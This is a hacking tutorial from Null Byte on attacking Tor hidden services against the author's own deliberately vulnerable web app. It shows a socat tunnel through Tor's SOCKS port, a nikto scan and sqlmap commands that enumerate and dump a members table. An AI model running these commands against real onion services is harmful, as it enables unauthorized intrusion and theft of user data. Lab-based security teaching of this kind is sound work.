How to Hack TOR Hidden Services « Null Byte :: WonderHowTo

A lot of people think that TOR services are unhackable because they are on a "secure environment", but the truth is that those services are exactly the same that run on any normal server, and can be hacked with the same tools (metasploit,hydra,sqlmap...), the only thing you have to do is launch a transparent proxy that pass all your packets through the TOR network to the hidden service.In this article the attacker's machine runs Kali version 1, and the target machine runs Fedora Workstation 21.What Will We Do?We are going to launch a vulnerable application that I've created as a TOR hidden service, and then hack it using the same techniques that we use on any webserver. I will use my own application to explain the process but you can use for example DVWA or mutillidae to test for your own.The tools that we are going to use here are:socat:To launch a tunnel from our local machine to the hidden service.nikto:To recognise vulnerabilities or misconfigurations on the webserver.sqlmapTo dump the database of the vulnerable application.They come with Kali by default so no need to install!This is only an example, you can use metasploit, hydra... whatever you want, socat will do all for you.Step 1: Start the Hidden ServiceI'm not going to explain how to launch a hidden service because this article is focused on hack a hidden service and not on set up a hidden service. But the process is very simple, the only thing we need to do is start a webserver on our machine and set theHiddenServiceDirandHiddenServicePorton tor's configuration file. This file is located at /etc/tor/torrc:nano /etc/tor/torrcOnce we have set theHiddenServiceDir(location where tor stores the private key and the onion address) and theHiddenServicePort(port where you want the users to connect, in our case port 80 HTTP) we can check that our service is running using the Tor Browser Bundle. The onion address is located in a file named hostname, within the HiddenServiceDir:As you see our service is accesible from the Tor Browser, let's go to the fun part.Step 2: Recon on the Hidden ServiceNow we are going to do some recon on the target, as the service is a web application running on port 80, we will usenikto. Set up the tunnel between the hidden service and our local machine. The syntax is:socat TCP4-LISTEN:<Port you want to listen for your connections>,reuseaddr,fork SOCKS4A:127.0.0.1:<onion address>:<port of the service>,socksport=<port where tor is listening (by default 9050)>So, to start a tunnel between our hidden service and our local machine on port 8000:Now we can perform our attack against the hidden service. Without closing the previous terminal, open another terminal and type:nikto -h http://127.0.0.1:8000You can see that nikto works without any issue (except for the slow connection that TOR offers, but that's another point).Step 3: Dumping Database from the Hidden ServiceLet's test sqlmap against our hidden service, don't close the first terminal:sqlmap -u "http://127.0.0.1:8000/Prototype/login.jsp " --data "uname=test&pass=test" --dbssqlmap -u "http://127.0.0.1:8000/Prototype/login.jsp " --data "uname=test&pass=test" -D prototype --tablessqlmap -u "http://127.0.0.1:8000/Prototype/login.jsp " --data "uname=test&pass=test" -T members --dumpAs I have stated above, this is a simple example of how to perform attacks against hidden services. In this case the service is a HTTP server, but it can be a SQL database, a FTP server, a SSH server, in fact any service based on TCP (UDP and ICMP aren't allowed through TOR).ConclusionIf you think that your TOR services don't need the proper configuration because they are hidden or something like that you are wrong. The hardest thing related to hacking TOR services is finding the.onionaddress, once you have find it, the rest is a normal penetration test.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Use Private Encrypted Messaging Over TorHow To:Access the Dark Web While Staying Anonymous with TorHow To:The Top 80+ Websites Available in the Tor NetworkNews:Use ProtonMail More Securely Through the Tor NetworkHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebHow To:Check if Your Significant Other Used Ashley Madison to Cheat on YouTor for Android:How to Stay Anonymous on Your PhoneHow To:Access Deep WebThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHow To:With the Silk Road Bust, the Online Black Market Already Has a New HomeNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkTor vs. I2P:The Great Onion DebateNews:Anonymity Networks. Don't use one, use all of them!News:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Become Anonymous on the Internet Using TorHow To:Use Tortunnel to Quickly Encrypt Internet TrafficAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'News:Make an "On/Off" Tor Button for ChromeHow To:Use I2P to Host and Share Your Secret Goods on the Dark Web—AnonymouslyHow To:Conceal a USB Flash Drive in Everyday Items